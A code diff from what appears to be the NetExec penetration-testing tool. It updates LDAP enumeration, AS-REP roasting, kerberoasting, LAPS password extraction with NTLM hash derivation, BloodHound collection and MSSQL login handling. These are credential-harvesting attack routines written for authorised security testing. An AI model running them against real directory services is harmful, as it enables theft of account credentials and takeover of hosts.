if str(attribute["type"]) == "sAMAccountName":
sAMAccountName = str(attribute["vals"][0])
elif str(attribute["type"]) == "description":
description = str(attribute["vals"][0])
self.logger.highlight(f"{sAMAccountName:<30} {description}")
except Exception as e:
self.logger.debug(f"Skipping item, cannot process due to error {e}")
return
# I think this was here for anonymous ldap bindings, so I kept it, but we might just want to remove it
if self.username == "":
self.logger.display(f"Total records returned: {len(resp):d}")
for item in resp:
if isinstance(item, ldapasn1_impacket.SearchResultEntry) is not True:
continue
self.logger.highlight(f"{item['objectName']}")
return
users = parse_result_attributes(resp)
# we print the total records after we parse the results since often SearchResultReferences are returned
self.logger.display(f"Total records returned: {len(users):d}")
self.logger.highlight(f"{'-Username-':<30}{'-Last PW Set-':<20}{'-BadPW-':<8}{'-Description-':<60}")
for user in users:
# TODO: functionize this - we do this calculation in a bunch of places, different, including in the `pso` module
parsed_pw_last_set = ""
pwd_last_set = user.get("pwdLastSet", "")
if pwd_last_set != "":
timestamp_seconds = int(pwd_last_set) / 10**7
start_date = datetime(1601, 1, 1)
parsed_pw_last_set = (start_date + timedelta(seconds=timestamp_seconds)).replace(microsecond=0).strftime("%Y-%m-%d %H:%M:%S")
if parsed_pw_last_set == "1601-01-01 00:00:00":
parsed_pw_last_set = "<never>"
# we default attributes to blank strings if they don't exist in the dict
self.logger.highlight(f"{user.get('sAMAccountName', ''):<30}{parsed_pw_last_set:<20}{user.get('badPwdCount', ''):<8}{user.get('description', ''):<60}")
def groups(self):
# Building the search filter
@@ -832,32 +814,74 @@ class ldap(connection):
self.logger.fail(f"Skipping item, cannot process due to error {e}")
def active_users(self):
# Building the search filter
search_filter = "(sAMAccountType=805306368)" if self.username != "" else "(objectclass=*)"
attributes = ["sAMAccountName", "userAccountControl"]
if len(self.args.active_users) > 0:
arg = True
self.logger.debug(f"Dumping users: {', '.join(self.args.active_users)}")
search_filter = "(sAMAccountType=805306368)" if self.username != "" else "(objectclass=*)"
search_filter_args = f"(|{''.join(f'(sAMAccountName={user})' for user in self.args.active_users)})"
else:
arg = False
self.logger.debug("Trying to dump all users")
search_filter = "(sAMAccountType=805306368)" if self.username != "" else "(objectclass=*)"
resp = self.search(search_filter, attributes, sizeLimit=0)
if resp:
for item in resp:
# default to these attributes to mirror the SMB --users functionality
request_attributes = ["sAMAccountName", "description", "badPwdCount", "pwdLastSet", "userAccountControl"]
resp = self.search(search_filter, request_attributes, sizeLimit=0)
allusers = parse_result_attributes(resp)
count = 0
activeusers = []
argsusers = []
if arg:
resp_args = self.search(search_filter_args, request_attributes, sizeLimit=0)
users_args = parse_result_attributes(resp_args)
# This try except for, if user gives a doesn't exist username. If it does, parsing process is crashing
for i in range(len(self.args.active_users)):
try:
argsusers.append(users_args[i])
except Exception as e:
self.logger.debug("Exception:", exc_info=True)
self.logger.debug(f"Skipping item, cannot process due to error {e}")
else:
argsusers = allusers
for user in allusers:
user_account_control = user.get("userAccountControl")
if user_account_control is not None: # Check if user_account_control is not None
account_control = "".join(user_account_control) if isinstance(user_account_control, list) else user_account_control # If it's already a list
account_disabled = int(account_control) & 2
if not account_disabled:
count += 1
activeusers.append(user.get("sAMAccountName").lower())
else:
self.logger.debug(f"userAccountControl for user {user.get('sAMAccountName')} is None")
if self.username == "":
self.logger.display(f"Total records returned: {len(resp):d}")
for item in resp_args:
if isinstance(item, ldapasn1_impacket.SearchResultEntry) is not True:
continue
sAMAccountName = ""
userAccountControl = ""
try:
if self.username == "":
self.logger.highlight(f"{item['objectName']}")
else:
for attribute in item["attributes"]:
if str(attribute["type"]) == "sAMAccountName":
sAMAccountName = str(attribute["vals"][0])
elif str(attribute["type"]) == "userAccountControl":
userAccountControl = int(attribute["vals"][0])
account_disabled = userAccountControl & 2
if not account_disabled:
self.logger.highlight(f"{sAMAccountName}")
except Exception as e:
self.logger.debug(f"Skipping item, cannot process due to error {e}")
self.logger.highlight(f"{item['objectName']}")
return
self.logger.display(f"Total records returned: {count}, total {len(allusers) - count:d} user(s) disabled") if not arg else self.logger.display(f"Total records returned: {len(argsusers)}, Total {len(allusers) - count:d} user(s) disabled")
self.logger.highlight(f"{'-Username-':<30}{'-Last PW Set-':<20}{'-BadPW-':<8}{'-Description-':<60}")
for arguser in argsusers:
pwd_last_set = arguser.get("pwdLastSet", "") # Retrieves pwdLastSet directly and defaults to an empty string.
if pwd_last_set: # Checks if pwdLastSet is empty or not.
timestamp_seconds = int(pwd_last_set) / 10**7 # Converts pwdLastSet to an integer.
start_date = datetime(1601, 1, 1)
parsed_pw_last_set = (start_date + timedelta(seconds=timestamp_seconds)).replace(microsecond=0).strftime("%Y-%m-%d %H:%M:%S")
if parsed_pw_last_set == "1601-01-01 00:00:00":
parsed_pw_last_set = "<never>"
if arguser.get("sAMAccountName").lower() in activeusers and arg is False:
self.logger.highlight(f"{arguser.get('sAMAccountName', ''):<30}{parsed_pw_last_set:<20}{arguser.get('badPwdCount', ''):<8}{arguser.get('description', ''):<60}")
elif (arguser.get("sAMAccountName").lower() not in activeusers) and arg is True:
self.logger.highlight(f"{arguser.get('sAMAccountName', '') + ' (Disabled)':<30}{parsed_pw_last_set:<20}{arguser.get('badPwdCount', ''):<8}{arguser.get('description', ''):<60}")
elif (arguser.get("sAMAccountName").lower() in activeusers):
self.logger.highlight(f"{arguser.get('sAMAccountName', ''):<30}{parsed_pw_last_set:<20}{arguser.get('badPwdCount', ''):<8}{arguser.get('description', ''):<60}")
def asreproast(self):
if self.password == "" and self.nthash == "" and self.kerberos is False:
@@ -872,7 +896,7 @@ class ldap(connection):
"lastLogon",
]
resp = self.search(search_filter, attributes, 0)
if resp == []:
if resp is None:
self.logger.highlight("No entries found!")
elif resp:
answers = []
@@ -916,10 +940,10 @@ class ldap(connection):
if len(answers) > 0:
for user in answers:
hash_TGT = KerberosAttacks(self).get_tgt_asroast(user[0])
hash_TGT = KerberosAttacks(self).get_tgt_asroast(user[0])
self.logger.highlight(f"{hash_TGT}")
with open(self.args.asreproast, "a+") as hash_asreproast:
hash_asreproast.write(hash_TGT + "\n")
if hash_TGT:
self.logger.highlight(f"{hash_TGT}")
with open(self.args.asreproast, "a+") as hash_asreproast:
hash_asreproast.write(f"{hash_TGT}\n")
return True
else:
self.logger.highlight("No entries found!")
@@ -928,7 +952,7 @@ class ldap(connection):
def kerberoasting(self):
# Building the search filter
searchFilter = "(&(servicePrincipalName=*)(UserAccountControl:1.2.840.113556.1.4.803:=512)(!(UserAccountControl:1.2.840.113556.1.4.803:=2))(!(objectCategory=computer)))"
searchFilter = "(&(servicePrincipalName=*)(!(objectCategory=computer)))"
attributes = [
"servicePrincipalName",
"sAMAccountName",
@@ -979,7 +1003,7 @@ class ldap(connection):
if mustCommit is True:
if int(userAccountControl) & UF_ACCOUNTDISABLE:
self.logger.debug(f"Bypassing disabled account {sAMAccountName} ")
self.logger.highlight(f"Bypassing disabled account {sAMAccountName} ")
else:
answers += [[spn, sAMAccountName, memberOf, pwdLastSet, lastLogon, delegation] for spn in SPNs]
except Exception as e:
@@ -1031,6 +1055,36 @@ class ldap(connection):
self.logger.highlight("No entries found!")
self.logger.fail("Error with the LDAP account used")
def query(self):
"""
Query the LDAP server with the specified filter and attributes.
Example usage:
--query "(sAMAccountName=Administrator)" "sAMAccountName pwdLastSet memberOf"
"""
search_filter = self.args.query[0]
attributes = [attr.strip() for attr in self.args.query[1].split(" ")]
if len(attributes) == 1 and attributes[0] == "":
attributes = None
if not search_filter:
self.logger.fail("No filter specified")
return
self.logger.debug(f"Querying LDAP server with filter: {search_filter} and attributes: {attributes}")
try:
resp = self.search(search_filter, attributes, 0)
except LDAPFilterSyntaxError as e:
self.logger.fail(f"LDAP Filter Syntax Error: {e}")
return
for item in resp:
if isinstance(item, ldapasn1_impacket.SearchResultEntry) is not True:
continue
self.logger.success(f"Response for object: {item['objectName']}")
for attribute in item["attributes"]:
attr = f"{attribute['type']}:"
vals = str(attribute["vals"]).replace("\n", "")
if "SetOf: " in vals:
vals = vals.replace("SetOf: ", "")
self.logger.highlight(f"{attr:<20} {vals}")
def trusted_for_delegation(self):
# Building the search filter
searchFilter = "(userAccountControl:1.2.840.113556.1.4.803:=524288)"
@@ -1348,9 +1402,9 @@ class ldap(connection):
ad = AD(
auth=auth,
domain=self.domain,
nameserver=self.args.nameserver,
dns_tcp=False,
dns_timeout=3,
nameserver=self.args.dns_server,
dns_tcp=self.args.dns_tcp,
dns_timeout=self.args.dns_timeout,
)
collect = resolve_collection_methods("Default" if not self.args.collection else self.args.collection)
if not collect:
@@ -1375,15 +1429,18 @@ class ldap(connection):
num_workers=10,
disable_pooling=False,
timestamp=timestamp,
fileNamePrefix=self.output_filename.split("/")[-1],
computerfile=None,
cachefile=None,
exclude_dcs=False,
)
self.output_filename += f"_{timestamp}"
self.logger.highlight(f"Compressing output into {self.output_filename}bloodhound.zip")
list_of_files = os.listdir(os.getcwd())
with ZipFile(self.output_filename + "bloodhound.zip", "w") as z:
for each_file in list_of_files:
if each_file.startswith(timestamp) and each_file.endswith("json"):
if each_file.startswith(self.output_filename.split("/")[-1]) and each_file.endswith("json"):
z.write(each_file)
os.remove(each_file)
+5 -15
View File
@@ -44,17 +44,7 @@ class BloodHound:
# Create an object resolver
self.ad.create_objectresolver(self.pdc)
def run(
self,
collect,
num_workers=10,
disable_pooling=False,
timestamp="",
computerfile="",
cachefile=None,
exclude_dcs=False,
):
def run(self, collect, num_workers=10, disable_pooling=False, timestamp="", fileNamePrefix="", computerfile="", cachefile=None, exclude_dcs=False):
start_time = time.time()
if cachefile:
self.ad.load_cachefile(cachefile)
@@ -82,7 +72,7 @@ class BloodHound:
)
# Initialize enumerator
membership_enum = MembershipEnumerator(self.ad, self.pdc, collect, disable_pooling)
membership_enum.enumerate_memberships(timestamp=timestamp)
membership_enum.enumerate_memberships(timestamp=timestamp, fileNamePrefix=fileNamePrefix)
elif "container" in collect:
# Fetch domains for later, computers if needed
self.pdc.prefetch_info(
@@ -92,7 +82,7 @@ class BloodHound:
)
# Initialize enumerator
membership_enum = MembershipEnumerator(self.ad, self.pdc, collect, disable_pooling)
membership_enum.do_container_collection(timestamp=timestamp)
membership_enum.do_container_collection(timestamp=timestamp, fileNamePrefix=fileNamePrefix)
elif do_computer_enum:
# We need to know which computers to query regardless
# We also need the domains to have a mapping from NETBIOS -> FQDN for local admins
@@ -102,7 +92,7 @@ class BloodHound:
self.pdc.get_domains("acl" in collect)
if "trusts" in collect or "acl" in collect or "objectprops" in collect:
trusts_enum = DomainEnumerator(self.ad, self.pdc)
trusts_enum.dump_domain(collect, timestamp=timestamp)
trusts_enum.dump_domain(collect, timestamp=timestamp, fileNamePrefix=fileNamePrefix)
if do_computer_enum:
# If we don't have a GC server, don't use it for deconflictation
have_gc = len(self.ad.gcs()) > 0
@@ -114,7 +104,7 @@ class BloodHound:
computerfile=computerfile,
exclude_dcs=exclude_dcs,
)
computer_enum.enumerate_computers(self.ad.computers, num_workers=num_workers, timestamp=timestamp)
computer_enum.enumerate_computers(self.ad.computers, num_workers=num_workers, timestamp=timestamp, fileNamePrefix=fileNamePrefix)
end_time = time.time()
minutes, seconds = divmod(int(end_time - start_time), 60)
self.logger.highlight("Done in %02dM %02dS" % (minutes, seconds))
+1 -1
View File
@@ -54,7 +54,7 @@ class database:
print(
f"""
[-] Error reflecting tables for the {self.protocol} protocol - this means there is a DB schema mismatch
[-] This is probably because a newer version of nxc is being ran on an old DB schema
[-] This is probably because a newer version of nxc is being run on an old DB schema
[-] Optionally save the old DB data (`cp {self.db_path} ~/nxc_{self.protocol.lower()}.bak`)
[-] Then remove the nxc {self.protocol} DB (`rm -f {self.db_path}`) and run nxc to initialize the new DB"""
)
+15 -13
View File
@@ -1,18 +1,18 @@
import random
from binascii import hexlify, unhexlify
from datetime import datetime, timedelta
import traceback
try:
# This is only available in python >= 3.11
# if we are in a lower version, we will use the deprecated utcnow() method
from datetime import UTC
utc_failed = False
except ImportError:
utc_failed = True
from os import getenv
from impacket.krb5 import constants
from impacket.krb5.asn1 import (
TGS_REP,
AS_REQ,
KERB_PA_PAC_REQUEST,
KRB_ERROR,
AS_REP,
seq_set,
seq_set_iter,
)
from impacket.krb5.asn1 import TGS_REP, AS_REQ, AS_REP, KERB_PA_PAC_REQUEST, KRB_ERROR, seq_set, seq_set_iter
from impacket.krb5.ccache import CCache
from impacket.krb5.kerberosv5 import sendReceive, KerberosError, getKerberosTGT
from impacket.krb5.types import KerberosTime, Principal
@@ -211,7 +211,8 @@ class KerberosAttacks:
return None
req_body["realm"] = domain
now = datetime.utcnow() + timedelta(days=1)
# When we drop python 3.10 support utcnow() can be removed, as it is deprecated
now = datetime.utcnow() + timedelta(days=1) if utc_failed else datetime.now(UTC) + timedelta(days=1)
req_body["till"] = KerberosTime.to_asn1(now)
req_body["rtime"] = KerberosTime.to_asn1(now)
req_body["nonce"] = random.getrandbits(31)
@@ -235,10 +236,11 @@ class KerberosAttacks:
message = encoder.encode(as_req)
r = sendReceive(message, domain, self.kdcHost)
elif e.getErrorCode() == constants.ErrorCodes.KDC_ERR_KEY_EXPIRED.value:
return "Password of user " + userName + " expired but user doesn't require pre-auth"
return f"Password of user {userName} expired but user doesn't require pre-auth"
else:
nxc_logger.debug(e)
return False
nxc_logger.fail(e)
nxc_logger.debug(traceback.format_exc())
return None
# This should be the PREAUTH_FAILED packet or the actual TGT if the target principal has the
# 'Do not require Kerberos preauthentication' set
+106
View File
@@ -1,3 +1,6 @@
import binascii
import hashlib
from json import loads
from pyasn1.codec.der import decoder
from pyasn1_modules import rfc5652
@@ -258,3 +261,106 @@ class LAPSv2Extract:
plaintext = decrypt_plaintext(cek, iv, remaining)
self.logger.info(plaintext[:-18].decode("utf-16le"))
return plaintext[:-18].decode("utf-16le")
def laps_search(self, username, password, cred_type, domain):
prev_protocol = self.logger.extra["protocol"]
prev_port = self.logger.extra["port"]
self.logger.extra["protocol"] = "LDAP"
self.logger.extra["port"] = "389"
ldapco = LDAPConnect(self.domain, "389", self.domain)
if self.kerberos:
if self.kdcHost is None:
self.logger.fail("Add --kdcHost parameter to use laps with kerberos")
return None, None, None, None
connection = ldapco.kerberos_login(
domain[0],
username[0] if username else "",
password[0] if cred_type[0] == "plaintext" else "",
password[0] if cred_type[0] == "hash" else "",
kdcHost=self.kdcHost,
aesKey=self.aesKey,
)
else:
connection = ldapco.auth_login(
domain[0],
username[0] if username else "",
password[0] if cred_type[0] == "plaintext" else "",
password[0] if cred_type[0] == "hash" else "",
)
if not connection:
self.logger.fail(f"LDAP connection failed with account {username[0]}")
return None, None, None, None
search_filter = "(&(objectCategory=computer)(|(msLAPS-EncryptedPassword=*)(ms-MCS-AdmPwd=*)(msLAPS-Password=*))(name=" + self.hostname + "))"
attributes = [
"msLAPS-EncryptedPassword",
"msLAPS-Password",
"ms-MCS-AdmPwd",
"sAMAccountName",
]
results = connection.search(searchFilter=search_filter, attributes=attributes, sizeLimit=0)
msMCSAdmPwd = ""
sAMAccountName = ""
username_laps = ""
from impacket.ldap import ldapasn1 as ldapasn1_impacket
results = [r for r in results if isinstance(r, ldapasn1_impacket.SearchResultEntry)]
if len(results) != 0:
for host in results:
values = {str(attr["type"]).lower(): attr["vals"][0] for attr in host["attributes"]}
if "mslaps-encryptedpassword" in values:
msMCSAdmPwd = values["mslaps-encryptedpassword"]
d = LAPSv2Extract(
bytes(msMCSAdmPwd),
username[0] if username else "",
password[0] if cred_type[0] == "plaintext" else "",
domain[0],
password[0] if cred_type[0] == "hash" else "",
self.kerberos,
self.kdcHost,
339
)
try:
data = d.run()
except Exception as e:
self.logger.fail(str(e))
return None, None, None, None
r = loads(data)
msMCSAdmPwd = r["p"]
username_laps = r["n"]
elif "mslaps-password" in values:
r = loads(str(values["mslaps-password"]))
msMCSAdmPwd = r["p"]
username_laps = r["n"]
elif "ms-mcs-admpwd" in values:
msMCSAdmPwd = str(values["ms-mcs-admpwd"])
else:
self.logger.fail("No result found with attribute ms-MCS-AdmPwd or msLAPS-Password")
self.logger.debug(f"Host: {sAMAccountName:<20} Password: {msMCSAdmPwd} {self.hostname}")
else:
self.logger.fail(f"msMCSAdmPwd or msLAPS-Password is empty or account cannot read LAPS property for {self.hostname}")
return None, None, None, None
if msMCSAdmPwd == "":
self.logger.fail(f"msMCSAdmPwd or msLAPS-Password is empty or account cannot read LAPS property for {self.hostname}")
return None, None, None, None
hash_ntlm = None
if cred_type[0] == "hash":
hash_ntlm = hashlib.new("md4", msMCSAdmPwd.encode("utf-16le")).digest()
hash_ntlm = binascii.hexlify(hash_ntlm).decode()
username = username_laps if username_laps else self.args.laps
password = msMCSAdmPwd
domain = self.hostname
self.args.local_auth = True
self.logger.extra["protocol"] = prev_protocol
self.logger.extra["port"] = prev_port
return username, password, domain, hash_ntlm
+10 -26
View File
@@ -1,30 +1,30 @@
from argparse import _StoreTrueAction
from nxc.helpers.args import DisplayDefaultsNotNone
def proto_args(parser, std_parser, module_parser):
ldap_parser = parser.add_parser("ldap", help="own stuff using LDAP", parents=[std_parser, module_parser])
def proto_args(parser, parents):
ldap_parser = parser.add_parser("ldap", help="own stuff using LDAP", parents=parents, formatter_class=DisplayDefaultsNotNone)
ldap_parser.add_argument("-H", "--hash", metavar="HASH", dest="hash", nargs="+", default=[], help="NTLM hash(es) or file(s) containing NTLM hashes")
ldap_parser.add_argument("--port", type=int, choices={389, 636}, default=389, help="LDAP port (default: 389)")
no_smb_arg = ldap_parser.add_argument("--no-smb", action=get_conditional_action(_StoreTrueAction), make_required=[], help="No smb connection")
ldap_parser.add_argument("--port", type=int, default=389, help="LDAP port")
ldap_parser.add_argument("--no-smb", action="store_true", help="No smb connection")
dgroup = ldap_parser.add_mutually_exclusive_group()
domain_arg = dgroup.add_argument("-d", metavar="DOMAIN", dest="domain", type=str, default=None, help="domain to authenticate to")
dgroup.add_argument("-d", metavar="DOMAIN", dest="domain", type=str, default=None, help="domain to authenticate to")
dgroup.add_argument("--local-auth", action="store_true", help="authenticate locally to each target")
no_smb_arg.make_required = [domain_arg]
egroup = ldap_parser.add_argument_group("Retrevie hash on the remote DC", "Options to get hashes from Kerberos")
egroup.add_argument("--asreproast", help="Output AS_REP response to crack with hashcat to file")
egroup.add_argument("--kerberoasting", help="Output TGS ticket to crack with hashcat to file")
vgroup = ldap_parser.add_argument_group("Retrieve useful information on the domain", "Options to to play with Kerberos")
vgroup.add_argument("--query", nargs=2, help="Query LDAP with a custom filter and attributes")
vgroup.add_argument("--trusted-for-delegation", action="store_true", help="Get the list of users and computers with flag TRUSTED_FOR_DELEGATION")
vgroup.add_argument("--password-not-required", action="store_true", help="Get the list of users with flag PASSWD_NOTREQD")
vgroup.add_argument("--admin-count", action="store_true", help="Get objets that had the value adminCount=1")
vgroup.add_argument("--users", action="store_true", help="Enumerate enabled domain users")
vgroup.add_argument("--users", nargs="*", help="Enumerate enabled domain users")
vgroup.add_argument("--groups", action="store_true", help="Enumerate domain groups")
vgroup.add_argument("--dc-list", action="store_true", help="Enumerate Domain Controllers")
vgroup.add_argument("--get-sid", action="store_true", help="Get domain sid")
vgroup.add_argument("--active-users", action="store_true", help="Get Active Domain Users Accounts")
vgroup.add_argument("--active-users", nargs="*", help="Get Active Domain Users Accounts")
ggroup = ldap_parser.add_argument_group("Retrevie gmsa on the remote DC", "Options to play with gmsa")
ggroup.add_argument("--gmsa", action="store_true", help="Enumerate GMSA passwords")
@@ -33,22 +33,6 @@ def proto_args(parser, std_parser, module_parser):
bgroup = ldap_parser.add_argument_group("Bloodhound Scan", "Options to play with Bloodhoud")
bgroup.add_argument("--bloodhound", action="store_true", help="Perform a Bloodhound scan")
bgroup.add_argument("-ns", "--nameserver", help="Custom DNS IP")
bgroup.add_argument("-c", "--collection", help="Which information to collect. Supported: Group, LocalAdmin, Session, Trusts, Default, DCOnly, DCOM, RDP, PSRemote, LoggedOn, Container, ObjectProps, ACL, All. You can specify more than one by separating them with a comma. (default: Default)'")
bgroup.add_argument("-c", "--collection", default="Collection", help="Which information to collect. Supported: Group, LocalAdmin, Session, Trusts, Default, DCOnly, DCOM, RDP, PSRemote, LoggedOn, Container, ObjectProps, ACL, All. You can specify more than one by separating them with a comma")
return parser
def get_conditional_action(baseAction):
class ConditionalAction(baseAction):
def __init__(self, option_strings, dest, **kwargs):
x = kwargs.pop("make_required", [])
super().__init__(option_strings, dest, **kwargs)
self.make_required = x
def __call__(self, parser, namespace, values, option_string=None):
for x in self.make_required:
x.required = True
super().__call__(parser, namespace, values, option_string)
return ConditionalAction
+223 -229
View File
@@ -1,15 +1,20 @@
import os
import random
import socket
import contextlib
from io import StringIO
from nxc.config import process_secret
from nxc.connection import connection
from nxc.connection import requires_admin
from nxc.logger import NXCAdapter
from nxc.protocols.mssql.mssqlexec import MSSQLEXEC
from nxc.helpers.bloodhound import add_user_bh
from nxc.helpers.ntlm_parser import parse_challenge
from nxc.helpers.powershell import create_ps_command
from impacket import tds
from nxc.protocols.mssql.mssqlexec import MSSQLEXEC
from impacket import tds, ntlm
from impacket.krb5.ccache import CCache
from impacket.smbconnection import SMBConnection, SessionError
from impacket.tds import (
SQLErrorException,
TDS_LOGINACK_TOKEN,
@@ -22,31 +27,21 @@ from impacket.tds import (
TDS_ENVCHANGE_CHARSET,
TDS_ENVCHANGE_PACKETSIZE,
)
import contextlib
class mssql(connection):
def __init__(self, args, db, host):
self.mssql_instances = None
self.domain = None
self.mssql_instances = []
self.domain = ""
self.targetDomain = ""
self.server_os = None
self.hash = None
self.os_arch = None
self.nthash = ""
self.is_mssql = False
connection.__init__(self, args, db, host)
def proto_flow(self):
self.proto_logger()
if self.create_conn_obj():
self.enum_host_info()
self.print_host_info()
if self.login():
if hasattr(self.args, "module") and self.args.module:
self.call_modules()
else:
self.call_cmd_args()
def proto_logger(self):
self.logger = NXCAdapter(
extra={
@@ -57,83 +52,98 @@ class mssql(connection):
}
)
def enum_host_info(self):
# this try pass breaks module http server, more info https://github.com/byt3bl33d3r/CrackMapExec/issues/363
try: # noqa: SIM105
# Probably a better way of doing this, grab our IP from the socket
self.local_ip = str(self.conn.socket).split()[2].split("=")[1].split(":")[0]
except Exception:
pass
if self.args.no_smb:
self.domain = self.args.domain
else:
try:
smb_conn = SMBConnection(self.host, self.host, None)
try:
smb_conn.login("", "")
except SessionError as e:
if "STATUS_ACCESS_DENIED" in e.getErrorString():
pass
self.domain = smb_conn.getServerDNSDomainName()
self.hostname = smb_conn.getServerName()
self.server_os = smb_conn.getServerOS()
self.logger.extra["hostname"] = self.hostname
with contextlib.suppress(Exception):
smb_conn.logoff()
if self.args.domain:
self.domain = self.args.domain
if self.args.local_auth:
self.domain = self.hostname
except Exception as e:
self.logger.fail(f"Error retrieving host domain: {e} specify one manually with the '-d' flag")
self.mssql_instances = self.conn.getInstances(0)
self.db.add_host(
self.host,
self.hostname,
self.domain,
self.server_os,
len(self.mssql_instances),
)
with contextlib.suppress(Exception):
self.conn.disconnect()
def print_host_info(self):
self.logger.display(f"{self.server_os} (name:{self.hostname}) (domain:{self.domain})")
# if len(self.mssql_instances) > 0:
# for i, instance in enumerate(self.mssql_instances):
# for key in instance.keys():
def create_conn_obj(self):
try:
self.conn = tds.MSSQL(self.host, self.port)
self.conn.connect()
except OSError as e:
self.logger.debug(f"Error connecting to MSSQL: {e}")
self.conn = tds.MSSQL(self.host, self.port, self.remoteName)
# Default has not timeout option in tds.MSSQL.connect() function, let rewrite it.
af, socktype, proto, canonname, sa = socket.getaddrinfo(self.host, self.port, 0, socket.SOCK_STREAM)[0]
sock = socket.socket(af, socktype, proto)
sock.settimeout(self.args.mssql_timeout)
sock.connect(sa)
self.conn.socket = sock
if not self.is_mssql:
self.conn.preLogin()
except Exception as e:
self.logger.debug(f"Error connecting to MSSQL service on host: {self.host}, reason: {e}")
return False
return True
else:
self.is_mssql = True
return True
def reconnect_mssql(func):
def wrapper(self, *args, **kwargs):
with contextlib.suppress(Exception):
self.conn.disconnect()
self.create_conn_obj()
return func(self, *args, **kwargs)
return wrapper
def check_if_admin(self):
self.admin_privs = False
try:
results = self.conn.sql_query("SELECT IS_SRVROLEMEMBER('sysadmin')")
is_admin = int(results[0][""])
except Exception as e:
self.logger.fail(f"Error querying for sysadmin role: {e}")
return False
if is_admin:
self.admin_privs = True
self.logger.debug("User is admin")
else:
if is_admin:
self.admin_privs = True
@reconnect_mssql
def enum_host_info(self):
challenge = None
try:
login = tds.TDS_LOGIN()
login["HostName"] = ""
login["AppName"] = ""
login["ServerName"] = self.conn.server.encode("utf-16le")
login["CltIntName"] = login["AppName"]
login["ClientPID"] = random.randint(0, 1024)
login["PacketSize"] = self.conn.packetSize
login["OptionFlags2"] = tds.TDS_INIT_LANG_FATAL | tds.TDS_ODBC_ON | tds.TDS_INTEGRATED_SECURITY_ON
# NTLMSSP Negotiate
auth = ntlm.getNTLMSSPType1("", "")
login["SSPI"] = auth.getData()
login["Length"] = len(login.getData())
# Get number of mssql instance
self.mssql_instances = self.conn.getInstances(0)
# Send the NTLMSSP Negotiate or SQL Auth Packet
self.conn.sendTDS(tds.TDS_LOGIN7, login.getData())
tdsx = self.conn.recvTDS()
challenge = tdsx["Data"][3:]
self.logger.info(f"NTLM challenge: {challenge!s}")
except Exception as e:
self.logger.info(f"Failed to receive NTLM challenge, reason: {e!s}")
return False
else:
ntlm_info = parse_challenge(challenge)
self.targetDomain = self.domain = ntlm_info["domain"]
self.hostname = ntlm_info["hostname"]
self.server_os = ntlm_info["os_version"]
self.logger.extra["hostname"] = self.hostname
self.db.add_host(self.host, self.hostname, self.targetDomain, self.server_os, len(self.mssql_instances),)
if self.args.domain:
self.domain = self.args.domain
if self.args.local_auth:
self.domain = self.hostname
self.remoteName = self.host if not self.kerberos else f"{self.hostname}.{self.domain}"
if not self.kdcHost and self.domain:
result = self.resolver(self.domain)
self.kdcHost = result["host"] if result else None
self.logger.info(f"Resolved domain: {self.domain} with dns, kdcHost: {self.kdcHost}")
def print_host_info(self):
self.logger.display(f"{self.server_os} (name:{self.hostname}) (domain:{self.targetDomain})")
return True
@reconnect_mssql
def kerberos_login(
self,
domain,
@@ -144,146 +154,125 @@ class mssql(connection):
kdcHost="",
useCache=False,
):
with contextlib.suppress(Exception):
self.conn.disconnect()
self.create_conn_obj()
self.username = username
self.password = password
self.domain = domain
self.nthash = ""
hashes = None
if ntlm_hash != "":
if ntlm_hash:
if ntlm_hash.find(":") != -1:
hashes = ntlm_hash
ntlm_hash.split(":")[1]
self.nthash = ntlm_hash.split(":")[1]
hashes = f":{self.nthash}"
else:
# only nt hash
hashes = f":{ntlm_hash}"
self.nthash = ntlm_hash
hashes = f":{self.nthash}"
kerb_pass = next(s for s in [self.nthash, password, aesKey] if s) if not all(s == "" for s in [self.nthash, password, aesKey]) else ""
if useCache and kerb_pass == "":
ccache = CCache.loadFile(os.getenv("KRB5CCNAME"))
username = ccache.credentials[0].header["client"].prettyPrint().decode().split("@")[0]
self.username = username
used_ccache = " from ccache" if useCache else f":{process_secret(kerb_pass)}"
try:
res = self.conn.kerberosLogin(
None,
username,
password,
domain,
self.username,
self.password,
self.domain,
hashes,
aesKey,
kdcHost=kdcHost,
useCache=useCache,
)
if res is not True:
self.conn.printReplies()
return False
self.password = password
if username == "" and useCache:
ccache = CCache.loadFile(os.getenv("KRB5CCNAME"))
principal = ccache.principal.toPrincipal()
self.username = principal.components[0]
username = principal.components[0]
else:
self.username = username
self.domain = domain
raise
self.check_if_admin()
used_ccache = " from ccache" if useCache else f":{process_secret(kerb_pass)}"
domain = f"{domain}\\" if not self.args.local_auth else ""
self.logger.success(f"{domain}{username}{used_ccache} {self.mark_pwned()}")
if not self.args.local_auth:
self.logger.success(f"{self.domain}\\{self.username}{used_ccache} {self.mark_pwned()}")
if not self.args.local_auth and self.username != "":
add_user_bh(self.username, self.domain, self.logger, self.config)
if self.admin_privs:
add_user_bh(f"{self.hostname}$", domain, self.logger, self.config)
return True
except Exception as e:
used_ccache = " from ccache" if useCache else f":{process_secret(kerb_pass)}"
domain = f"{domain}\\" if not self.args.local_auth else ""
self.logger.fail(f"{domain}\\{username}{used_ccache} {e}")
return False
def plaintext_login(self, domain, username, password):
with contextlib.suppress(Exception):
self.conn.disconnect()
self.create_conn_obj()
try:
# this is to prevent a decoding issue in impacket/ntlm.py:617 where it attempts to decode the domain
if not domain:
domain = ""
res = self.conn.login(None, username, password, domain, None, not self.args.local_auth)
if res is not True:
self.handle_mssql_reply()
return False
self.password = password
self.username = username
self.domain = domain
self.check_if_admin()
self.db.add_credential("plaintext", domain, username, password)
if self.admin_privs:
self.db.add_admin_user("plaintext", domain, username, password, self.host)
add_user_bh(f"{self.hostname}$", domain, self.logger, self.config)
domain = f"{domain}\\" if not self.args.local_auth else ""
out = f"{domain}{username}:{process_secret(password)} {self.mark_pwned()}"
self.logger.success(out)
if not self.args.local_auth:
add_user_bh(self.username, self.domain, self.logger, self.config)
add_user_bh(f"{self.hostname}$", self.domain, self.logger, self.config)
return True
except BrokenPipeError:
self.logger.fail("Broken Pipe Error while attempting to login")
return False
except Exception as e:
self.logger.fail(f"{domain}\\{username}:{process_secret(password)}")
self.logger.exception(e)
except Exception:
error_msg = self.handle_mssql_reply()
self.logger.fail("{}\\{}:{} {}".format(self.domain, self.username, kerb_pass, error_msg if error_msg else ""))
return False
@reconnect_mssql
def plaintext_login(self, domain, username, password):
self.password = password
self.username = username
self.domain = domain
try:
res = self.conn.login(
None,
self.username,
self.password,
self.domain,
None,
not self.args.local_auth,
)
if res is not True:
raise
self.check_if_admin()
out = f"{self.domain}\\{self.username}:{process_secret(self.password)} {self.mark_pwned()}"
self.logger.success(out)
if not self.args.local_auth and self.username != "":
add_user_bh(self.username, self.domain, self.logger, self.config)
